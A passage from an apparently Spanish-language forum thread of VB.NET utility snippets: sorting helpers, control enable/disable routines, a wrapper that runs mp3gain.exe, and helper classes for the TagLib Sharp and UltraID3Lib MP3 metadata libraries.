Private Sub TextBox_Leave(sender As Object, e As EventArgs) ' Handles TextBox1.Leave
' // If Text is empty then restore the last saved character:
'
' If String.IsNullOrEmpty(sender.text) _
' Then sender.text = My.Settings.User_Character
End Sub
#End Region
Listar por el método Burbuja un Array de String o una Lista de String:
#Region " BubbleSort Array "
' BubbleSort Array
'
' Examples :
'
' Dim MyArray As String() = {"10", "333", "2", "45"}
' For Each item In BubbleSort_Array(myarray) : MsgBox(item) : Next ' Result: {"2", "10", "45", "333"}
Private Function BubbleSort_Array(list As String()) As String()
Return list.Select(Function(s) New With { _
Key .OrgStr = s, _
Key .SortStr = System.Text.RegularExpressions.Regex.Replace( _
s, "(\d+)|(\D+)", _
Function(m) m.Value.PadLeft(list.Select(Function(y) y.Length).Max, _
If(Char.IsDigit(m.Value(0)), " "c, Char.MaxValue))) _
}).OrderBy(Function(x) x.SortStr).Select(Function(x) x.OrgStr).ToArray
End Function
#End Region
#Region " BubbleSort IEnumerable(Of String) "
' BubbleSort IEnumerable(Of String)
'
' Examples :
'
' Dim MyIEnumerable As IEnumerable(Of String) = {"10", "333", "2", "45"}
' For Each item In BubbleSort_IEnumerable(MyIEnumerable) : MsgBox(item) : Next ' Result: {"2", "10", "45", "333"}
Private Function BubbleSort_IEnumerable(list As IEnumerable(Of String)) As IEnumerable(Of String)
Return list.Select(Function(s) New With { _
Key .OrgStr = s, _
Key .SortStr = System.Text.RegularExpressions.Regex.Replace( _
s, "(\d+)|(\D+)", _
Function(m) m.Value.PadLeft(list.Select(Function(y) y.Length).Max, _
If(Char.IsDigit(m.Value(0)), " "c, Char.MaxValue))) _
}).OrderBy(Function(x) x.SortStr).Select(Function(x) x.OrgStr)
End Function
#End Region
#Region " BubbleSort List(Of String) "
' BubbleSort List(Of String)
'
' Examples :
'
' Dim MyList As New List(Of String) From {"10", "333", "2", "45"}
' For Each item In BubbleSort_List(MyList) : MsgBox(item) : Next ' Result: {"2", "10", "45", "333"}
Private Function BubbleSort_List(list As List(Of String)) As List(Of String)
Return list.Select(Function(s) New With { _
Key .OrgStr = s, _
Key .SortStr = System.Text.RegularExpressions.Regex.Replace( _
s, "(\d+)|(\D+)", _
Function(m) m.Value.PadLeft(list.Select(Function(x) x.Length).Max, _
If(Char.IsDigit(m.Value(0)), " "c, Char.MaxValue))) _
}).OrderBy(Function(x) x.SortStr).Select(Function(x) x.OrgStr).ToList
End Function
#End Region
Listar por el método Burbuja una Lista de DirectoryInfo o de FileInfo especificando la propiedad que se evaluará (por el momento solo funciona con propiedades "TopLevel"):
#Region " BubbleSort List(Of DirectoryInfo) "
' BubbleSort List(Of DirectoryInfo)
'
' Examples :
'
' Dim Folders As List(Of IO.DirectoryInfo) = IO.Directory.GetDirectories("C:\Windows", "*").Select(Function(p) New IO.DirectoryInfo(p)).ToList()
'
' For Each folder In Bubble_Sort_List_DirectoryInfo(Folders, Function() New IO.DirectoryInfo("").Name)
' MsgBox(folder.Name)
' Next
Private Shared Function Bubble_Sort_List_DirectoryInfo(list As List(Of IO.DirectoryInfo), _
exp As Linq.Expressions.Expression(Of Func(Of Object))) _
As List(Of IO.DirectoryInfo)
Dim member As Linq.Expressions.MemberExpression = _
If(TypeOf exp.Body Is Linq.Expressions.UnaryExpression, _
DirectCast(DirectCast(exp.Body, Linq.Expressions.UnaryExpression).Operand, Linq.Expressions.MemberExpression), _
DirectCast(exp.Body, Linq.Expressions.MemberExpression))
Return list.Select(Function(s) New With { _
Key .OrgStr = s, _
Key .SortStr = System.Text.RegularExpressions.Regex.Replace( _
s.Name, "(\d+)|(\D+)", _
Function(m) m.Value.PadLeft( _
list.Select(Function(folder) DirectCast(DirectCast(member.Member, System.Reflection.PropertyInfo) _
.GetValue(folder, Nothing), Object).ToString.Length).Max(), _
If(Char.IsDigit(m.Value(0)), " "c, Char.MaxValue))) _
}).OrderBy(Function(x) x.SortStr).Select(Function(x) x.OrgStr).ToList
End Function
#End Region
#Region " BubbleSort List(Of FileInfo) "
' BubbleSort List(Of FileInfo)
'
' Examples :
'
' Dim Files As List(Of IO.FileInfo) = IO.Directory.GetFiles("C:\Windows", "*").Select(Function(p) New IO.FileInfo(p)).ToList()
'
' For Each file In Bubble_Sort_List_FileInfo(Files, Function() New IO.FileInfo("").Name)
' MsgBox(file.Name)
' Next
Private Shared Function Bubble_Sort_List_FileInfo(list As List(Of IO.FileInfo), _
exp As Linq.Expressions.Expression(Of Func(Of Object))) _
As List(Of IO.FileInfo)
Dim member As Linq.Expressions.MemberExpression = _
If(TypeOf exp.Body Is Linq.Expressions.UnaryExpression, _
DirectCast(DirectCast(exp.Body, Linq.Expressions.UnaryExpression).Operand, Linq.Expressions.MemberExpression), _
DirectCast(exp.Body, Linq.Expressions.MemberExpression))
Return list.Select(Function(s) New With { _
Key .OrgStr = s, _
Key .SortStr = System.Text.RegularExpressions.Regex.Replace( _
s.Name, "(\d+)|(\D+)", _
Function(m) m.Value.PadLeft( _
list.Select(Function(file) DirectCast(DirectCast(member.Member, System.Reflection.PropertyInfo) _
.GetValue(file, Nothing), Object).ToString.Length).Max(), _
If(Char.IsDigit(m.Value(0)), " "c, Char.MaxValue))) _
}).OrderBy(Function(x) x.SortStr).Select(Function(x) x.OrgStr).ToList
End Function
#End Region
Varias maneras de Activar/Desactivar una serie de contorles:
#Region " Disable Controls "
' [ Disable Controls ]
'
' // By Elektro H@cker
'
' Examples :
'
' Disable_Controls(Button1)
' Disable_Controls({Button1, Button2})
' Disable_Controls(Of Button)(GroupBox1, False)
' Disable_Controls(Of Button)(GroupBox1.Controls, False)
' Disable Control(Control)
Private Sub Disable_Control(ByVal [control] As Control)
[control].Enabled = If([control].Enabled, False, True)
End Sub
' Disable Controls({Control})
Private Sub Disable_Controls(ByVal Controls() As Control)
For Each [control] As Control In Controls
[control].Enabled = If([control].Enabled, False, True)
Next
End Sub
' Disable Controls(Of Type)(Control)
Public Sub Disable_Controls(Of T As Control)(ByVal Container As Control)
For Each [control] As T In Container.Controls.OfType(Of T).Where(Function(ctrl) ctrl.Enabled)
[control].Enabled = False
Next
End Sub
' Disable Controls(Of Type)(ControlCollection)
Public Sub Disable_Controls(Of T As Control)(ByVal Collection As ControlCollection)
For Each [control] As T In Collection.OfType(Of T).Where(Function(ctrl) ctrl.Enabled)
[control].Enabled = False
Next
End Sub
#End Region
#Region " Enable Controls "
' [ Enable Controls ]
'
' // By Elektro H@cker
'
' Examples :
'
' Enable_Control(Button1)
' Enable_Controls({Button1, Button2})
' Enable_Controls(Of Button)(GroupBox1, False)
' Enable_Controls(Of Button)(GroupBox1.Controls, False)
' Enable Control(Control)
Private Sub Enable_Control(ByVal [control] As Control)
[control].Enabled = If(Not [control].Enabled, True, False)
End Sub
' Enable Controls({Control})
Private Sub Enable_Controls(ByVal Controls() As Control)
For Each [control] As Control In Controls
[control].Enabled = If(Not [control].Enabled, True, False)
Next
End Sub
' Enable Controls(Of Type)(Control)
Public Sub Enable_Controls(Of T As Control)(ByVal Container As Control)
For Each [control] As T In Container.Controls.OfType(Of T).Where(Function(ctrl) Not ctrl.Enabled)
[control].Enabled = True
Next
End Sub
' Enable Controls(Of Type)(ControlCollection)
Public Sub Enable_Controls(Of T As Control)(ByVal Collection As ControlCollection)
For Each [control] As T In Collection.OfType(Of T).Where(Function(ctrl) Not ctrl.Enabled)
[control].Enabled = True
Next
End Sub
#End Region
Una Class para manejar la aplicación mp3gain.
Sirve para aplicar una ganancia NO destructiva a archivos MP3.
http://mp3gain.sourceforge.net/
EDITO: Código mejorado.
#Region " mp3gain Helper "
' [ mp3gain Helper ]
'
' // By Elektro H@cker
'
'
' Instructions:
'
' 1. Add the "mp3gain.exe" into the project.
'
'
' Examples :
'
' MsgBox(mp3gain.Is_Avaliable) ' Checks if mp3gain executable is avaliable.
'
' MsgBox(mp3gain.File_Has_MP3Gain_Tag("File.mp3")) ' Checks if file contains mp3gain APE tag
'
' mp3gain.Set_Gain("File.mp3", 95) ' Set the db Gain of file to 95 db (In a scale of "0/100" db)
' mp3gain.Set_Gain("File.mp3", 95, True) ' Set the db Gain of file to -95 db and preserve the datetime of file.
'
' mp3gain.Apply_Gain("File.mp3", +5) ' Apply a change of +5 db in the curent gain of file.
' mp3gain.Apply_Gain("File.mp3", -5) ' Apply a change of -5 db in the curent gain of file.
'
' mp3gain.Apply_Channel_Gain("File.mp3", mp3gain.Channels.Left, +10) ' Apply a change of +10 db in the curent Left channel gain of file.
' mp3gain.Apply_Channel_Gain("File.mp3", mp3gain.Channels.Right, -10) ' Apply a change of -10 db in the curent Right channel gain of file.
'
' mp3gain.Undo_Gain("File.mp3") ' Undo all MP3Gain db changes made in file.
'
'
' ------
' EVENTS
' ------
' Public WithEvents mp3gain As New mp3gain
'
' Sub mp3gain_Progress(Progress As Integer, e As EventArgs) Handles mp3gain.PercentDone
' ProgressBar1.Maximum = 100
' ProgressBar1.Value = Progress
' End Sub
'
' Sub mp3gain_Exited(Message As String, e As EventArgs) Handles mp3gain.Exited
' ProgressBar1.Value = 0
' MessageBox.Show(Message)
' End Sub
Public Class mp3gain
#Region " CommandLine parametter legend "
' MP3Gain Parametter Legend:
'
' /c - Ignore clipping warning when applying gain.
' /d - Set global gain.
' /e - Skip Album analysis, even if multiple files listed.
' /g - apply gain
' /p - Preserve original file timestamp.
' /r - apply Track gain automatically (all files set to equal loudness)
' /t - Writes modified data to temp file, then deletes original instead of modifying bytes in original file.
' /u - Undo changes made (based on stored tag info).
' /s c - Check stored tag info.
#End Region
#Region " Variables "
' <summary>
' Gets or sets the mp3gain.exe executable path.
' </summary>
Public Shared mp3gain_Location As String = "c:\mp3gain.exe"
' Stores the MP3Gain process ErrorOutput.
Private Shared ErrorOutput As String = String.Empty
' Stores the MP3Gain process StandardOutput.
Private Shared StandardOutput As String = String.Empty ' Is not needed
' Sets a Flag to know if file has MP3Gain APE tag.
Private Shared HasTag As Boolean = False
#End Region
#Region " Enumerations "
Enum Channels As Short
Left = 0 ' /l 0
Right = 1 ' /l 1
End Enum
#End Region
#Region " Events "
' <summary>
' Event raised when process progress changes.
' </summary>
Public Shared Event PercentDone As EventHandler(Of PercentDoneEventArgs)
Public Class PercentDoneEventArgs : Inherits EventArgs
Public Property Progress As Integer
End Class
' <summary>
' Event raised when MP3Gain process has exited.
' </summary>
Public Shared Event Exited As EventHandler(Of ExitedEventArgs)
Public Class ExitedEventArgs : Inherits EventArgs
Public Property Message As String
End Class
#End Region
#Region " Processes Info "
Private Shared Process_TagCheck As New Process() With { _
.StartInfo = New ProcessStartInfo With { _
.CreateNoWindow = True, _
.UseShellExecute = False, _
.RedirectStandardError = False, _
.RedirectStandardOutput = True _
}}
Private Shared Process_For_Tag As New Process() With { _
.StartInfo = New ProcessStartInfo With { _
.CreateNoWindow = True, _
.UseShellExecute = False, _
.RedirectStandardError = False, _
.RedirectStandardOutput = True _
}}
Private Shared Process_For_NonTag As New Process() With { _
.StartInfo = New ProcessStartInfo With { _
.CreateNoWindow = True, _
.UseShellExecute = False, _
.RedirectStandardError = True, _
.RedirectStandardOutput = True _
}}
#End Region
#Region " Miscellaneous functions "
' <summary>
' Checks if mp3gain.exe process is avaliable.
' </summary>
Public Shared Function Is_Avaliable() As Boolean
Return IO.File.Exists(mp3gain_Location)
End Function
' Checks if a file exist.
Private Shared Sub CheckFileExists(ByVal File As String)
If Not IO.File.Exists(File) Then
' Throw New Exception("File doesn't exist: " & File)
MessageBox.Show("File doesn't exist: " & File, "MP3Gain", MessageBoxButtons.OK, MessageBoxIcon.Error)
End If
End Sub
#End Region
#Region " Gain Procedures "
' <summary>
' Checks if mp3gain APE tag exists in file.
' </summary>
Public Shared Function File_Has_MP3Gain_Tag(ByVal MP3_File As String) As Boolean
CheckFileExists(MP3_File)
Process_TagCheck.StartInfo.FileName = mp3gain_Location
Process_TagCheck.StartInfo.Arguments = String.Format("/s c ""{0}""", MP3_File)
Process_TagCheck.Start()
Process_TagCheck.WaitForExit()
Return Process_TagCheck.StandardOutput.ReadToEnd.Trim.Split(Environment.NewLine).Count - 1
' Process_TagCheck.Close()
End Function
' <summary>
' Set global db Gain in file.
' </summary>
Public Shared Sub Set_Gain(ByVal MP3_File As String, _
ByVal Gain As Integer, _
Optional ByVal Preserve_Datestamp As Boolean = True)
Run_MP3Gain(MP3_File, String.Format("/c /e /r /t {1} /d {2} ""{0}""", _
MP3_File, _
If(Preserve_Datestamp, "/p", ""), _
If(Gain < 0, Gain + 89.0, Gain - 89.0)))
End Sub
' <summary>
' Apply db Gain change in file.
' </summary>
Public Shared Sub Apply_Gain(ByVal MP3_File As String, _
ByVal Gain As Integer, _
Optional ByVal Preserve_Datestamp As Boolean = True)
Run_MP3Gain(MP3_File, String.Format("/c /e /r /t {1} /g {2} ""{0}""", _
MP3_File, _
If(Preserve_Datestamp, "/p", ""), _
Gain))
End Sub
' <summary>
' Apply db Gain change of desired channel in file.
' Only works for Stereo MP3 files.
' </summary>
Public Shared Sub Apply_Channel_Gain(ByVal MP3_File As String, _
ByVal Channel As Channels, _
ByVal Gain As Integer, _
Optional ByVal Preserve_Datestamp As Boolean = True)
Run_MP3Gain(MP3_File, String.Format("/c /e /r /l {2} {3} ""{0}""", _
MP3_File, _
If(Preserve_Datestamp, "/p", ""), _
If(Channel = Channels.Left, 0, 1), _
Gain))
End Sub
' <summary>
' Undo all MP3Gain db changes made in file (based on stored tag info).
' </summary>
Public Shared Sub Undo_Gain(ByVal MP3_File As String, _
Optional ByVal Preserve_Datestamp As Boolean = True)
Run_MP3Gain(MP3_File, String.Format("/c /t {1} /u ""{0}""", _
MP3_File, _
If(Preserve_Datestamp, "/p", "")))
End Sub
#End Region
#Region " Run MP3Gain Procedures "
Private Shared Sub Run_MP3Gain(ByVal MP3_File As String, ByVal Parametters As String)
CheckFileExists(MP3_File)
HasTag = File_Has_MP3Gain_Tag(MP3_File)
Process_For_Tag.StartInfo.FileName = mp3gain_Location
Process_For_Tag.StartInfo.Arguments = Parametters
Process_For_NonTag.StartInfo.FileName = mp3gain_Location
Process_For_NonTag.StartInfo.Arguments = Parametters
If HasTag Then
Run_MP3Gain_For_Tag()
Else
Run_MP3Gain_For_NonTag()
End If
End Sub
Private Shared Sub Run_MP3Gain_For_Tag()
Process_For_Tag.Start()
Process_For_Tag.WaitForExit()
RaiseEvent Exited(Process_For_Tag.StandardOutput.ReadToEnd.Trim.Split(Environment.NewLine).LastOrDefault, Nothing)
StandardOutput = Nothing
' Process_For_Tag.Close()
End Sub
Private Shared Sub Run_MP3Gain_For_NonTag()
Process_For_NonTag.Start()
While Not Process_For_NonTag.HasExited
Try
ErrorOutput = Process_For_NonTag.StandardError.ReadLine.Trim.Split("%").First
If CInt(ErrorOutput) < 101 Then
RaiseEvent PercentDone(ErrorOutput, Nothing)
End If
Catch : End Try
End While
StandardOutput = Process_For_NonTag.StandardOutput.ReadToEnd.Trim.Split(Environment.NewLine).Last
RaiseEvent Exited(StandardOutput, Nothing)
ErrorOutput = Nothing
StandardOutput = Nothing
' Process_For_Tag.Close()
End Sub
#End Region
End Class
#End Region
Un ayudante para manejar la librería TabLig Sharp: https://github.com/mono/taglib-sharp
La librería sirve para editar los metadatos de archivos de música, entre otros formatos como imágenes png, etc...
Mi Class está pensada para usarse con archivos MP3.
#Region " TagLib Sharp Helper "
' [ TagLib Sharp Helper ]
'
' // By Elektro H@cker
'
'
' Instructions:
' 1. Add a reference to "taglib-sharp.dll" into the project.
'
'
' Examples:
'
' MsgBox(TagLibSharp.FileIsCorrupt("C:\File.mp3")) ' Result: True or False
' MsgBox(TagLibSharp.FileIsWriteable("C:\File.mp3")) ' Result: True or False
' MsgBox(TagLibSharp.Get_Title("C:\File.mp3"))
' MsgBox(TagLibSharp.Get_Artist("C:\File.mp3"))
' MsgBox(TagLibSharp.Get_Album("C:\File.mp3"))
' MsgBox(TagLibSharp.Get_Genre("C:\File.mp3"))
' MsgBox(TagLibSharp.Get_Year("C:\File.mp3"))
' MsgBox(TagLibSharp.Get_Basic_TagInfo("C:\File.mp3"))
' TagLibSharp.RemoveTag("C:\File.mp3", TagLib.TagTypes.Id3v1 Or TagLib.TagTypes.Id3v2) ' Removes ID3v1 + ID3v2 Tags
' TagLibSharp.Set_Tag_Fields("C:\Test.mp3", Sub(x) x.Tag.Title = "Title Test"})
' TagLibSharp.Set_Tag_Fields("C:\Test.mp3", {Sub(x) x.Tag.Title = "Title Test", Sub(x) x.Tag.Performers = {"Artist Test"}})
Public Class TagLibSharp
''' <summary>
''' Stores the Taglib object.
''' </summary>
Private Shared TagFile As TagLib.File = Nothing
''' <summary>
''' Checks if file is possibly corrupted.
''' </summary>
Public Shared Function FileIsCorrupt(ByVal File As String) As Boolean
Try
Return TagLib.File.Create(File).PossiblyCorrupt
Catch ex As Exception
Throw New Exception(ex.Message)
Return True
Finally
If TagFile IsNot Nothing Then TagFile.Dispose()
End Try
End Function
''' <summary>
''' Checks if file can be written.
''' </summary>
Public Shared Function FileIsWriteable(ByVal File As String) As Boolean
Try
Return TagLib.File.Create(File).Writeable
Catch ex As Exception
Throw New Exception(ex.Message)
Return True
Finally
If TagFile IsNot Nothing Then TagFile.Dispose()
End Try
End Function
''' <summary>
''' Get TagTypes of file.
''' </summary>
Public Shared Function Get_Tags(ByVal File As String) As String
Try
Return TagLib.File.Create(File).TagTypes.ToString
Catch ex As Exception
Throw New Exception(ex.Message)
Return String.Empty
Finally
If TagFile IsNot Nothing Then TagFile.Dispose()
End Try
End Function
''' <summary>
''' Remove a entire Tag from file.
''' </summary>
Public Shared Sub RemoveTag(ByVal File As String, ByVal TagTypes As TagLib.TagTypes)
Try
TagFile = TagLib.File.Create(File)
Catch ex As Exception
Throw New Exception(ex.Message)
Exit Sub
End Try
Try
If Not TagFile.PossiblyCorrupt _
AndAlso TagFile.Writeable Then
TagFile.RemoveTags(TagTypes)
TagFile.Save()
End If
Catch ex As Exception
Throw New Exception(ex.Message)
Finally
If TagFile IsNot Nothing Then TagFile.Dispose()
End Try
End Sub
''' <summary>
''' Gets the Title tag field of file.
''' </summary>
Public Shared Function Get_Title(ByVal File As String) As String
Try
Return TagLib.File.Create(File).Tag.Title
Catch ex As Exception
Throw New Exception(ex.Message)
Return String.Empty
Finally
If TagFile IsNot Nothing Then TagFile.Dispose()
End Try
End Function
''' <summary>
''' Gets the Artist tag field of file.
''' </summary>
Public Shared Function Get_Artist(ByVal File As String) As String
Try
Return TagLib.File.Create(File).Tag.Performers(0)
Catch ex As Exception
Throw New Exception(ex.Message)
Return String.Empty
Finally
If TagFile IsNot Nothing Then TagFile.Dispose()
End Try
End Function
''' <summary>
''' Gets the Album tag field of file.
''' </summary>
Public Shared Function Get_Album(ByVal File As String) As String
Try
Return TagLib.File.Create(File).Tag.Album
Catch ex As Exception
Throw New Exception(ex.Message)
Return String.Empty
Finally
If TagFile IsNot Nothing Then TagFile.Dispose()
End Try
End Function
''' <summary>
''' Gets the Genre tag field of file.
''' </summary>
Public Shared Function Get_Genre(ByVal File As String) As String
Try
Return TagLib.File.Create(File).Tag.Genres(0)
Catch ex As Exception
Throw New Exception(ex.Message)
Return String.Empty
Finally
If TagFile IsNot Nothing Then TagFile.Dispose()
End Try
End Function
''' <summary>
''' Gets the Year tag field of file.
''' </summary>
Public Shared Function Get_Year(ByVal File As String) As String
Try
Return TagLib.File.Create(File).Tag.Year
Catch ex As Exception
Throw New Exception(ex.Message)
Return String.Empty
Finally
If TagFile IsNot Nothing Then TagFile.Dispose()
End Try
End Function
''' <summary>
''' Gets the basic tag fields of file.
''' </summary>
Public Shared Function Get_Basic_TagInfo(ByVal File As String) As String
Try
TagFile = TagLib.File.Create(File)
Return String.Format("Title: {1}{0}Artist: {2}{0}Album: {3}{0}Genre: {4}{0}Year: {5}", Environment.NewLine, _
TagFile.Tag.Title, _
TagFile.Tag.Performers(0), _
TagFile.Tag.Album, _
TagFile.Tag.Genres(0), _
TagFile.Tag.Year)
Catch ex As Exception
Throw New Exception(ex.Message)
Return String.Empty
Finally
If TagFile IsNot Nothing Then TagFile.Dispose()
End Try
End Function
''' <summary>
''' Sets a Tag field.
''' </summary>
Public Shared Sub Set_Tag_Fields(ByVal File As String, _
ByVal FieldSetter As Action(Of TagLib.File))
Try
TagFile = TagLib.File.Create(File)
Catch ex As Exception
Throw New Exception(ex.Message)
Exit Sub
End Try
Try
If Not TagFile.PossiblyCorrupt _
AndAlso TagFile.Writeable Then
FieldSetter(TagFile)
TagFile.Save()
End If
Catch ex As Exception
Throw New Exception(ex.Message)
Finally
If TagFile IsNot Nothing Then TagFile.Dispose()
End Try
End Sub
''' <summary>
''' Sets multiple Tag fields.
''' </summary>
Public Shared Sub Set_Tag_Fields(ByVal File As String, _
ByVal FieldSetter() As Action(Of TagLib.File))
Try
TagFile = TagLib.File.Create(File)
Catch ex As Exception
Throw New Exception(ex.Message)
Exit Sub
End Try
Try
If Not TagFile.PossiblyCorrupt _
AndAlso TagFile.Writeable Then
For Each Field In FieldSetter
Field(TagFile)
Next
TagFile.Save()
End If
Catch ex As Exception
Throw New Exception(ex.Message)
Finally
If TagFile IsNot Nothing Then TagFile.Dispose()
End Try
End Sub
End Class
#End Region
Un ayudante de la librería UltraId3Lib: http://home.fuse.net/honnert/UltraID3Lib/UltraID3Lib0968.zip
La diferencia entre esta librería y
TagLib Sharp es que
UltraID3Lib trabaja sólamente metadatos de tipo ID3v1 e ID3v2 (y las variantes de ID3v2, y los Covers)
Esta librería está optimizada para trabajar archivos MP3, de hecho sólamente trabaja archivos mp3, además hice un pequeño test de velocidad y estos fueron los resultados:
Citar TagLib Sharp UltraId3Lib
Tiempo transcurrido para eliminar los tags ID3v1 + ID3v2 de 1.000 archivos mp3 (5,2 GB) 05:40 minutos 03:10 minutos
Ahora... si tuviera que elegir entre la lógica interna que usa cada librería, lo cierto es que no sabría por cual decidirme, por eso hice un ayudante para las dos librerías xD.
EDITO: He extendido la Class para manejar las carátulas de los mp3.EDITO: He vuelto ha extender la Class para exprimir un poco más la librería.
#Region " UltraID3Lib "
' [ UltraID3Lib Helper ]
'
' // By Elektro H@cker
'
'
' Instructions:
' 1. Add a reference to "UltraID3Lib.dll" into the project.
'
'
' Examples:
'
' MsgBox(UltraID3Lib.FileIsCorrupt("C:\File.mp3")) ' Result: True or False
' MsgBox(UltraID3Lib.ID3v1_Exist("C:\File.mp3")) ' Result: True or False
' MsgBox(UltraID3Lib.ID3v2_Exist("C:\File.mp3")) ' Result: True or False
' MsgBox(UltraID3Lib.IsVBR("C:\File.mp3")) ' Result: True or False
' MsgBox(UltraID3Lib.Get_Metadata_Errors("C:\File.mp3"))
' MsgBox(UltraID3Lib.Get_Metadata_Warnings("C:\File.mp3"))
'
' MsgBox(UltraID3Lib.Get_ID3_Tags("C:\File.mp3"))
' MsgBox(UltraID3Lib.Get_Title("C:\File.mp3"))
' MsgBox(UltraID3Lib.Get_Artist("C:\File.mp3"))
' MsgBox(UltraID3Lib.Get_Album("C:\File.mp3"))
' MsgBox(UltraID3Lib.Get_Genre("C:\File.mp3"))
' MsgBox(UltraID3Lib.Get_Year("C:\File.mp3"))
' MsgBox(UltraID3Lib.Get_Basic_Tag_Fields("C:\File.mp3"))
'
' UltraID3Lib.Remove_ID3v1_Tag("C:\File.mp3") ' Removes ID3v1 Tag
' UltraID3Lib.Remove_ID3v2_Tag("C:\File.mp3") ' Removes ID3v2 Tag
' UltraID3Lib.Remove_ID3v1_ID3v2_Tags("C:\File.mp3") ' Removes ID3v1 + ID3v2 Tags
'
' UltraID3Lib.Set_Tag_Field("C:\File.mp3", Sub(x) x.ID3v2Tag.Title = "Title Test")
' UltraID3Lib.Set_Tag_Fields("C:\File.mp3", {Sub(x) x.ID3v2Tag.Title = "Title Test", Sub(x) x.ID3v2Tag.Artist = "Artist Test"})
'
' UltraID3Lib.Set_Main_Cover("C:\File.mp3", "C:\Image.jpg")
' UltraID3Lib.Add_Cover("C:\File.mp3", "C:\Image.jpg")
' UltraID3Lib.Delete_Covers("C:\File.mp3")
' PictureBox1.BackgroundImage = UltraID3Lib.Get_Main_Cover("C:\File.mp3")
'
' For Each Genre As String In UltraID3Lib.Get_Generic_ID3_Genres() : MsgBox(Genre) : Next
'
' MsgBox(UltraID3Lib.Get_Bitrate("C:\File.mp3")) ' Result: 320
' MsgBox(UltraID3Lib.Get_Duration("C:\File.mp3")) ' Result: 00:00:00:000
' MsgBox(UltraID3Lib.Get_Frequency("C:\File.mp3")) ' Result: 44100
' MsgBox(UltraID3Lib.Get_Channels("C:\File.mp3")) ' Result: JointStereo
' MsgBox(UltraID3Lib.Get_Layer("C:\File.mp3")) ' Result: MPEGLayer3
' MsgBox(UltraID3Lib.Get_Filesize("C:\File.mp3")) ' Result: 6533677
Imports HundredMilesSoftware.UltraID3Lib
Public Class UltraID3Lib
''' <summary>
''' Stores the UltraID3Lib object.
''' </summary>
Private Shared [UltraID3] As New UltraID3
' ''' <summary>
' ''' Stores the Picture things.
' ''' </summary>
' Private Shared CurrentPictureFrame As ID3v2PictureFrame ' Not used in this Class
' Private Shared PictureTypes As ArrayList ' Not used in this Class
' Private Shared PictureFrames As ID3FrameCollection ' Not used in this Class
' Private Shared PictureIndex As Integer ' Not used in this Class
''' <summary>
''' Checks if file is possibly corrupt.
''' </summary>
Public Shared Function FileIsCorrupt(ByVal File As String) As Boolean
Try
[UltraID3].Read(File)
Return Convert.ToBoolean( _
[UltraID3].GetExceptions(ID3ExceptionLevels.Error).Length _
+ [UltraID3].GetExceptions(ID3ExceptionLevels.Warning).Length)
Catch ex As Exception
Throw New Exception(ex.Message)
End Try
End Function
''' <summary>
''' Checks for errors inside file metadata.
''' </summary>
Public Shared Function Get_Metadata_Errors(ByVal File As String) As String
Try
[UltraID3].Read(File)
Return String.Join(Environment.NewLine, _
[UltraID3].GetExceptions(ID3ExceptionLevels.Error) _
.Select(Function(ex) ex.Message))
Catch ex As Exception
Throw New Exception(ex.Message)
End Try
End Function
''' <summary>
''' Checks for warnings inside file metadata.
''' </summary>
Public Shared Function Get_Metadata_Warnings(ByVal File As String) As String
Try
[UltraID3].Read(File)
Return String.Join(Environment.NewLine, _
[UltraID3].GetExceptions(ID3ExceptionLevels.Warning) _
.Select(Function(ex) ex.Message))
Catch ex As Exception
Throw New Exception(ex.Message)
End Try
End Function
''' <summary>
''' Checks if ID3v1 exists in file.
''' </summary>
Public Shared Function ID3v1_Exist(ByVal File As String) As Boolean
Try
[UltraID3].Read(File)
Return [UltraID3].ID3v1Tag.ExistsInFile
Catch ex As Exception
Throw New Exception(ex.Message)
End Try
End Function
''' <summary>
''' Checks if ID3v2 exists in file.
''' </summary>
Public Shared Function ID3v2_Exist(ByVal File As String) As Boolean
Try
[UltraID3].Read(File)
Return [UltraID3].ID3v2Tag.ExistsInFile
Catch ex As Exception
Throw New Exception(ex.Message)
End Try
End Function
''' <summary>
''' Gets ID3 TagTypes of file.
''' </summary>
Public Shared Function Get_ID3_Tags(ByVal File As String) As String
Try
[UltraID3].Read(File)
Return String.Format("{0}{1}", _
If([UltraID3].ID3v1Tag.ExistsInFile, "ID3v1, ", ""), _
If([UltraID3].ID3v2Tag.ExistsInFile, " ID3v2", "")).Trim
Catch ex As Exception
Throw New Exception(ex.Message)
End Try
End Function
''' <summary>
''' Removes entire ID3v1 Tag from file.
''' </summary>
Public Shared Sub Remove_ID3v1_Tag(ByVal File As String)
Try
[UltraID3].Read(File)
[UltraID3].ID3v1Tag.Clear()
[UltraID3].Write()
Catch ex As Exception
Throw New Exception(ex.Message)
End Try
End Sub
''' <summary>
''' Removes entire ID3v2 Tag from file.
''' </summary>
Public Shared Sub Remove_ID3v2_Tag(ByVal File As String)
Try
[UltraID3].Read(File)
[UltraID3].ID3v2Tag.Clear()
[UltraID3].Write()
Catch ex As Exception
Throw New Exception(ex.Message)
End Try
End Sub
''' <summary>
''' Removes entire ID3v1 + ID3v2 Tags from file.
''' </summary>
Public Shared Sub Remove_ID3v1_ID3v2_Tags(ByVal File As String)
Try
[UltraID3].Read(File)
[UltraID3].ID3v1Tag.Clear()
[UltraID3].ID3v2Tag.Clear()
[UltraID3].Write()
Catch ex As Exception
Throw New Exception(ex.Message)
End Try
End Sub
''' <summary>
''' Gets the Title tag field of file.
''' </summary>
Public Shared Function Get_Title(ByVal File As String) As String
Try
[UltraID3].Read(File)
Return [UltraID3].Title
Catch ex As Exception
Throw New Exception(ex.Message)
End Try
End Function
''' <summary>
''' Gets the Artist tag field of file.
''' </summary>
Public Shared Function Get_Artist(ByVal File As String) As String
Try
[UltraID3].Read(File)
Return [UltraID3].Artist
Catch ex As Exception
Throw New Exception(ex.Message)
End Try
End Function
''' <summary>
''' Gets the Album tag field of file.
''' </summary>
Public Shared Function Get_Album(ByVal File As String) As String
Try
[UltraID3].Read(File)
Return [UltraID3].Album
Catch ex As Exception
Throw New Exception(ex.Message)
End Try
End Function
''' <summary>
''' Gets the Genre tag field of file.
''' </summary>
Public Shared Function Get_Genre(ByVal File As String) As String
Try
[UltraID3].Read(File)
Return [UltraID3].Genre
Catch ex As Exception
Throw New Exception(ex.Message)
End Try
End Function
''' <summary>
''' Gets the Year tag field of file.
''' </summary>
Public Shared Function Get_Year(ByVal File As String) As String
Try
[UltraID3].Read(File)
Return [UltraID3].Year
Catch ex As Exception
Throw New Exception(ex.Message)
End Try
End Function
''' <summary>
''' Gets the basic tag fields of file.
''' </summary>
Public Shared Function Get_Basic_Tag_Fields(ByVal File As String) As String
Try
[UltraID3].Read(File)
Return String.Format("Title: {1}{0}Artist: {2}{0}Album: {3}{0}Genre: {4}{0}Year: {5}", Environment.NewLine, _
[UltraID3].Title, _
[UltraID3].Artist, _
[UltraID3].Album, _
[UltraID3].Genre, _
